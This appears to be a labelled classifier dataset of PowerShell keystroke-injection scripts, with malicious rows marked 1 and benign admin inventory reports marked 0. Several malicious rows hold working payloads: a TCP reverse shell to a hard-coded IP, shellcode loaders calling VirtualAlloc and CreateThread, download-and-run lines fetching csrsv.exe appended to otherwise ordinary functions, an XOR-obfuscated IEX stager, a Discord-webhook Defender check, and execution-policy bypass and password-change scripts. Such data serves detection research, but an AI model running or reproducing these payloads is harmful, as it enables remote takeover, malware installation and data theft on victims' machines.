"win+r powershell enter  Import-Module ""$nanoFolderPath\NanoServerImageGenerator.psm1"" New-NanoServerI enter mage -MediaPath $winSrvDrivePath -BasePath $nanoFolderPath -TargetPath ""$nanoFol enter derPath\Nano.vhd"" -ComputerName NanoServer –GuestDrivers -AdministratorPassword enter p@$$w0rd1 Import-Module Azure Add-AzureAccount Select-AzureSubscription -Defaul enter t $subscription Get-AzureLocation | select name $affinityGroup = 'somegroup' enter enter",1,1,0.0005433922,0.9994566
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_0abgkh7c"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.4954883e-05
"win+r powershell enter function Enable-ScheduledCommand { enter [PoshBot.BotCommand( enter Aliases = ('enableschedule', 'enable-schedule'), enter Permissions = 'manage-schedules' enter )] enter [cmdletbinding()] enter param( enter [parameter(Mandatory)] enter $Bot, enter [parameter(Mandatory, Position = 0)] enter [ValidateNotNullOrEmpty()] enter [string]$Id enter ) enter if ($Bot.Scheduler.GetSchedule($Id)) { enter $scheduledMessage = $Bot.Scheduler.EnableSchedule($Id) enter $fields = @( enter 'Id' enter @{l='Command'; e = {$_.Message.Text}} enter @{l='Interval'; e = {$_.TimeInterval}} enter @{l='Value'; e = {$_.TimeValue}} enter 'TimesExecuted' enter @{l='StartAfter';e={_.StartAfter.ToString('s')}} enter 'Enabled' enter ) enter $msg = ""Schedule for command [$($scheduledMessage.Message.Text)] enabled`n"" enter $msg += ($scheduledMessage | Select-Object -Property $fields | Format-List | Out-String).Trim() enter New-PoshBotCardResponse -Type Normal -Text $msg -ThumbnailUrl $thumb.success enter } else { enter New-PoshBotCardResponse -Type Warning -Text ""Scheduled command [$Id] not found."" -ThumbnailUrl $thumb.warning enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter",1,1,6.218674e-05,0.9999378
"win+r enter powershell enter enter enter $client = New-Object System.Net.Sockets.TCPClient(""161.35.124.119"",1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ""PS "" + (pwd).Path + ""> "";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() enter enter",1,1,6.6912195e-05,0.9999331
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_pt2e5zfm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_running.txt"") -Encoding UTF8 enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4462242e-05
"win+r powershell enter [CmdletBinding()] param () Import-Module ActiveDirectory [System.Environment]: enter :SetEnvironmentVariable(""EmailAddress"", $null, 'User') $EmailAddress = (Get-ADU enter ser $env:USERNAME -Properties mail).mail [System.Environment]::SetEnvironmentVa enter riable(""EmailAddress"", $EmailAddress, 'User') enter enter",0,1,0.00066888175,0.9993311
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install tightvnc enter A enter enter enter,0,0,0.9999598,4.0173647e-05
"win+r powershell enter $UM3 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntP enter tr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""ke enter rnel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, enter uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFla enter gs, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mems enter et(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $UM3 -Na enter me ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xb8,0x9f,0 enter x7b,0x54,0xc4,0xdb,0xd6,0xd9,0x74,0x24,0xf4,0x5b,0x29,0xc9,0xb1,0x47,0x83,0xc3,0 enter x04,0x31,0x43,0x0f,0x03,0x43,0x90,0x99,0xa1,0x38,0x46,0xdf,0x4a,0xc1,0x96,0x80,0 enter xc3,0x24,0xa7,0x80,0xb0,0x2d,0x97,0x30,0xb2,0x60,0x1b,0xba,0x96,0x90,0xa8,0xce,0 enter x3e,0x96,0x19,0x64,0x19,0x99,0x9a,0xd5,0x59,0xb8,0x18,0x24,0x8e,0x1a,0x21,0xe7,0 enter xc3,0x5b,0x66,0x1a,0 enter enter",1,1,5.4127824e-05,0.9999459
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_0yt0cas8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter",0,0,0.99996626,3.3793385e-05
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) enter REM Description: Change Widnows 10 user password. enter REM Version: 1.0 enter REM Category: Execution enter DELAY 750 enter WINDOWS d enter DELAY 1500 enter WINDOWS r enter DELAY 1500 enter STRING powershell Start-Process powershell -Verb runAs enter ENTER enter DELAY 560 enter LEFTARROW enter DELAY 500 enter ENTER enter DELAY 560 enter STRING $User = ([Environment]::UserName) enter DELAY 200 enter ENTER enter DELAY 500 enter STRING $NewPassword = ConvertTo-SecureString ""PASSWORD HERE"" -AsPlainText -Force enter DELAY 300 enter ENTER enter DELAY 500 enter STRING Set-LocalUser -Name $User -Password $NewPassword enter DELAY 300 enter ENTER enter DELAY 600 enter STRING exit enter ENTER enter DUCKY_REAL_END enter",1,1,5.923181e-05,0.99994075
"win+r enter powershell enter enter enter function Get-MrExceptionType { enter enter [CmdletBinding()] enter param ( enter [ValidateRange(1,256)] enter [int]$Count = 1 enter ) enter enter if ($Error.Count -ge 1) { enter enter if ($Count -gt $Error.Count) { enter $Count = $Error.Count enter } enter enter for ($i = 0; $i -lt $Count; $i++) { enter enter [PSCustomObject]@{ enter ErrorNumber = ""`$Error[$i]"" enter ExceptionType = if ($Error[$i].exception) {$Error[$i].Exception.GetType().FullName} enter } enter enter } enter enter } enter else { enter Write-Warning -Message 'No errors have been generated for the current PowerShell session.' enter } enter enter } enter enter",0,0,0.9998745,0.00012555966
"win+r enter powershell enter enter enter Describe ""Verify Markdown Links"" { enter BeforeAll { enter if(!(Get-Command -Name 'markdown-link-check' -ErrorAction SilentlyContinue)) enter { enter Write-Verbose ""installing markdown-link-check ..."" -Verbose enter start-nativeExecution { enter sudo yarn global add markdown-link-check@3.7.2 enter } enter } enter enter if(!(Get-Module -Name 'ThreadJob' -ListAvailable -ErrorAction SilentlyContinue)) enter { enter Install-Module -Name ThreadJob -Scope CurrentUser enter } enter get-job | remove-job -force enter } enter enter AfterAll { enter enter get-job | remove-job -force enter } enter enter $groups = Get-ChildItem -Path ""$PSScriptRoot\..\..\..\*.md"" -Recurse | Where-Object {$_.DirectoryName -notlike '*node_modules*'} | Group-Object -Property directory enter enter $jobs = @{} enter enter Foreach($group in $groups) enter { enter Write-Verbose -verbose ""starting jobs for $($group.Name) ..."" enter $job = Start-ThreadJob { enter param([object] $group) enter foreach($file in $group.Group) enter { enter $results = markdown-link-check $file 2>&1 enter Write-Output ([PSCustomObject]@{ enter file = $file enter results = $results enter }) enter } enter } -ArgumentList @($group) enter $jobs.add($group.name,$job) enter } enter enter Write-Verbose -verbose ""Getting results ..."" enter enter foreach($key in $jobs.keys) enter { enter $job = $jobs.$key enter $results = Receive-Job -Job $job -Wait enter Remove-job -job $Job enter foreach($jobResult in $results) enter { enter $file = $jobResult.file enter $result = $jobResult.results enter Context ""Verify links in $file"" { enter $failures = $result -like '*[✖]*' | ForEach-Object { $_.Substring(4).Trim() } enter $passes = $result -like '*[✓]*' | ForEach-Object { enter @{url=$_.Substring(4).Trim() } enter } enter $trueFailures = @() enter $verifyFailures = @() enter foreach ($failure in $failures) { enter if($failure -like 'https://www.amazon.com*') enter { enter $verifyFailures += @{url = $failure} enter } enter else enter { enter $trueFailures += @{url = $failure} enter } enter } enter function noop { enter } enter enter if($passes) enter { enter it ""<url> should work"" -TestCases $passes { enter noop enter } enter } enter enter if($trueFailures) enter { enter it ""<url> should work"" -TestCases $trueFailures { enter param($url) enter $allowedFailures = @( 503 ) enter enter $prefix = $url.Substring(0,7) enter Write-Verbose ""prefix: '$prefix'"" -Verbose enter if($url -match '^http(s)?:') enter { enter enter try enter { enter $null = Invoke-WebRequest -uri $url -RetryIntervalSec 3 -MaximumRetryCount 6 enter } enter catch enter { enter if ( $allowedFailures -notcontains $_.Exception.Response.StatusCode ) { enter throw ""retry of URL failed with error: $($_.Exception.Message)"" enter } enter } enter } enter else { enter throw ""Tool reported URL as unreachable."" enter } enter } enter } enter enter if($verifyFailures) enter { enter it ""<url> should work"" -TestCases $verifyFailures -Pending { enter } enter } enter enter if(!$passes -and !$trueFailures -and !$verifyFailures) enter { enter It ""has no links"" { enter noop enter } enter } enter } enter } enter } enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.567407e-05,0.9999443
"win+r enter powershell enter enter enter function Enable-CIisSecurityAuthentication enter { enter enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [Parameter(Mandatory=$true)] enter [string] enter enter $SiteName, enter enter [Alias('Path')] enter [string] enter enter $VirtualPath = '', enter enter [Parameter(Mandatory=$true,ParameterSetName='Anonymous')] enter [Switch] enter enter $Anonymous, enter enter [Parameter(Mandatory=$true,ParameterSetName='Basic')] enter [Switch] enter enter $Basic, enter enter [Parameter(Mandatory=$true,ParameterSetName='Windows')] enter [Switch] enter enter $Windows enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter $authType = $pscmdlet.ParameterSetName enter $getArgs = @{ $authType = $true; } enter $authSettings = Get-CIisSecurityAuthentication -SiteName $SiteName -VirtualPath $VirtualPath @getArgs enter enter if( $authSettings.GetAttributeValue('enabled') ) enter { enter return enter } enter enter $authSettings.SetAttributeValue('enabled', 'true') enter enter $fullPath = Join-CIisVirtualPath $SiteName $VirtualPath enter if( $pscmdlet.ShouldProcess( $fullPath, (""enable {0}"" -f $authType) ) ) enter { enter $authSettings.CommitChanges() enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.7902562e-05,0.99994206
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_fbprijj7"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.txt"") -Encoding UTF8 enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 2 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.49855e-05
gio open https://mail.google.com/mail/u/0/#inbox?compose=new enter enter choudhurysubhransu00@gmail.com enter enter tab rubber ducky! tab [g drive image grabber] tab tab tab tab tab tab tab enter enter right right right right tab enter enter tab enter enter enter,1,1,0.0017368549,0.9982632
win+r powershell enter delay_medium enter unknown_key_action GUI x enter delay_medium enter a enter delay_medium enter unknown_key_action LEFT_ARROW enter delay_medium enter enter enter delay_long enter Get-ExecutionPolicy -List enter enter enter delay_medium enter Set-ExecutionPolicy Bypass enter enter enter delay_medium enter Get-ExecutionPolicy -List enter enter enter delay_medium enter alt+f4 enter,1,1,5.7031673e-05,0.999943
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_94xa7yfo"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 3 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.468231e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_m75ucj48"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_running.json"") -Encoding UTF8 enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter",0,0,0.999966,3.4002078e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_0z7hipzw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_disabled_tasks.csv"") -NoTypeInformation enter Write-Host ""Starting user_helpdesk_audit section 2."" enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.4009667e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_15pnmj4n"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.json"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_enabled_tasks.csv"") -NoTypeInformation enter Get-WinEvent -LogName System -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_provider_summary_50.csv"") -NoTypeInformation enter",0,0,0.99996567,3.4309265e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_iiez3296"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.json"") -Encoding UTF8 enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.json"") -Encoding UTF8 enter",0,0,0.9999652,3.4751403e-05
"win+r powershell enter delay_medium enter unknown_key_action WINDOWS d enter delay_medium enter win+r enter delay_medium enter powershell Start-Process powershell -Verb runAs enter enter enter delay_medium enter unknown_key_action LEFTARROW enter delay_medium enter enter enter delay_medium enter Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/mrbeanagain.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath ""C:/windows/6565.txt"" -WindowStyle maximized enter enter enter",1,1,5.7859677e-05,0.9999422
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_9l18wr0e"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Export-Csv -Path (Join-Path $ReportDir ""disk_filesystem_provider.csv"") -NoTypeInformation enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_outbound.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3969765e-05
"win+r powershell enter $hookUrl = 'https://discord.com/api/webhooks/1065355278549262357/ZgGNOcyL2A6px5B enter B6yCck8MjYwkHcYpGhryXLis_epP_2cGNAFHGmApGuyOO1kMXy-wJ'; $exclusionExtensions = ' enter exe','dll','bat'; $exclusionPaths = '$env:TEMP\','$env:TEMP\KrakenApiTool.exe',' enter $env:TEMP\89f359e03f enter bveek.exe';$exclusionProcesses = 'KrakenApiTool.exe','nbve enter ek.exe'; $exclusionExtensionsExist = (Get-MpPreference).ExclusionExtension -cont enter ains $exclusionExtensions; $exclusionPathsExist = (Get-MpPreference).ExclusionPa enter th -contains $exclusionPaths; $exclusionProcessesExist = (Get-MpPreference).Excl enter usionProcess -contains $exclusionProcesses; if ($exclusionExtensionsExist -and $ enter exclusionPathsExist -and $exclusionProcessesExist) { $message = ""Windows Defende enter r exclusions found: `n ExclusionExtension: $exclusionExtensions `n ExclusionPath enter : $exclusionPaths `n ExclusionProcess: $exclusionProcesses"";} else { $message = enter ""Windows Defender ex enter enter",1,1,8.596646e-05,0.99991405
"win+r enter powershell enter enter enter [SYsTem.NeT.ServIcePOInTMAnager]::EXPecT100ConTinUE = 0;$Wc=NeW-OBJeCt SYstEM.NET.WebClIEnt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$wc.HEADErs.Add('User-Agent',$u);$Wc.PRoXy = [SYsTem.NET.WEBReqUeST]::DEFaULtWEBProxY;$wc.PrOXy.CrEDEnTIAlS = [SYSteM.Net.CreDEntIaLCacHE]::DefaULtNETWoRKCRedEntiAls;$K='PdFfwG9`M,Kiy\Ibm1o2?^ElJh*NTt]&';$i=0;[CHAr[]]$b=([chaR[]]($Wc.DoWnloADSTriNG(""https://172.30.18.11:443/index.asp"")))|%{$_-bXOR$k[$i++%$k.LEnGTH]};IEX ($b-joIN'') enter enter",1,1,5.630839e-05,0.99994373
win+r powershell enter $sourceSubscriptionId='yourSourceSubscriptionId' $sourceResourceGroupName='mySo enter urceResourceGroupName' $managedDiskName='myDiskName' Select-AzSubscription -Su enter bscriptionId $sourceSubscriptionId $managedDisk= Get-AzDisk -ResourceGroupName enter $sourceResourceGroupName -DiskName $managedDiskName $targetSubscriptionId='your enter TargetSubscriptionId' enter enter,1,1,0.004063355,0.99593663
win+r enter powershell enter enter enter bbc enter enter,1,1,0.000678345,0.9993217
"win+r powershell enter $S4SR = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $S4SR - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x98 enter ,0x4b,0x35,0x00,0xd9,0xc2,0xd9,0x74,0x24,0xf4,0x5e,0x29,0xc9,0xb1,0x47,0x83,0xee enter ,0xfc,0x31,0x56,0x0f,0x03,0x56,0x97,0xa9,0xc0,0xfc,0x4f,0xaf,0x2b,0xfd,0x8f,0xd0 enter ,0xa2,0x18,0xbe,0xd0,0xd1,0x69,0x90,0xe0,0x92,0x3c,0x1c,0x8a,0xf7,0xd4,0x97,0xfe enter ,0xdf,0xdb,0x10,0xb4,0x39,0xd5,0xa1,0xe5,0x7a,0x74,0x21,0xf4,0xae,0x56,0x18,0x37 enter ,0xa3,0x97,0x5d,0x2a enter enter",1,1,5.430003e-05,0.99994564
win+r enter powershell enter enter enter Shutdown enter enter,1,1,0.0017769309,0.998223
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_rhzukr7o"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_200.txt"") -Encoding UTF8 enter Get-NetRoute | enter Select-Object -First 75 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter Export-Csv -Path (Join-Path $ReportDir ""network_routes.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3947323e-05
"win+r enter powershell enter enter enter properties { enter $testMessage = 'Executed Test!' enter $compileMessage = 'Executed Compile!' enter $cleanMessage = 'Executed Clean!' enter } enter enter task default -depends Test enter enter task Test -depends Compile, Clean { enter $testMessage enter } enter enter task Compile -depends Clean { enter $compileMessage enter } enter enter task Clean { enter $cleanMessage enter } enter enter task ? -Description ""Helper to display task info"" { enter Write-Documentation enter } enter enter",0,0,0.9999212,7.8761084e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_f6gne9ah"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 15 ProcessName, Id, StartTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_15.txt"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4824923e-05
"win+r enter powershell enter enter enter  enter [CmdletBinding()] enter param () enter function Get-RelativePath { enter [CmdletBinding()][OutputType([string])] enter param () enter enter $Path = (split-path $SCRIPT:MyInvocation.MyCommand.Path -parent) + ""\"" enter Return $Path enter } enter enter $RelativePath = Get-RelativePath enter $InstalledVersion = [string]((Get-WmiObject Win32_BIOS).SMBIOSBIOSVersion) enter $Model = ((Get-WmiObject Win32_ComputerSystem).Model).split("" "")[1] enter [string]$BIOSVersion = (Get-ChildItem -Path $RelativePath | Where-Object { $_.Name -eq $Model } | Get-ChildItem -Filter *.exe) enter $BIOSVersion = ($BIOSVersion.split(""-"")[1]).split(""."")[0] enter If ($BIOSVersion -eq $InstalledVersion) { enter Exit 0 enter } else { enter Exit 5 enter } enter enter",0,0,0.99880755,0.0011925141
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_frfukao6"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Status | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.json"") -Encoding UTF8 enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_ip_config.json"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 3."" enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_150.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.456012e-05
"DUCKY_REAL_BEGIN enter GNU GENERAL PUBLIC LICENSE enter Version 3, 29 June 2007 enter Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/> enter Everyone is permitted to copy and distribute verbatim copies enter of this license document, but changing it is not allowed. enter Preamble enter The GNU General Public License is a free, copyleft license for enter software and other kinds of works. enter The licenses for most software and other practical works are designed enter to take away your freedom to share and change the works. By contrast, enter the GNU General Public License is intended to guarantee your freedom to enter share and change all versions of a program--to make sure it remains free enter software for all its users. We, the Free Software Foundation, use the enter GNU General Public License for most of our software; it applies also to enter any other work released this way by its authors. You can apply it to enter your programs, too. enter When we speak of free software, we are referring to freedom, not enter price. Our General Public Licenses are designed to make sure that you enter have the freedom to distribute copies of free software (and charge for enter them if you wish), that you receive source code or can get it if you enter want it, that you can change the software or use pieces of it in new enter free programs, and that you know you can do these things. enter To protect your rights, we need to prevent others from denying you enter these rights or asking you to surrender the rights. Therefore, you have enter certain responsibilities if you distribute copies of the software, or if enter you modify it: responsibilities to respect the freedom of others. enter For example, if you distribute copies of such a program, whether enter gratis or for a fee, you must pass on to the recipients the same enter freedoms that you received. You must make sure that they, too, receive enter or can get the source code. And you must show them these terms so they enter know their rights. enter Developers that use the GNU GPL protect your rights with two steps: enter (1) assert copyright on the software, and (2) offer you this License enter giving you legal permission to copy, distribute and/or modify it. enter For the developers' and authors' protection, the GPL clearly explains enter that there is no warranty for this free software. For both users' and enter authors' sake, the GPL requires that modified versions be marked as enter changed, so that their problems will not be attributed erroneously to enter authors of previous versions. enter Some devices are designed to deny users access to install or run enter DUCKY_REAL_END",1,1,0.0001087255,0.9998913
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_jsbnrg38"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.txt"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName Application -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_warnings_25.csv"") -NoTypeInformation enter",0,0,0.9999665,3.3521137e-05
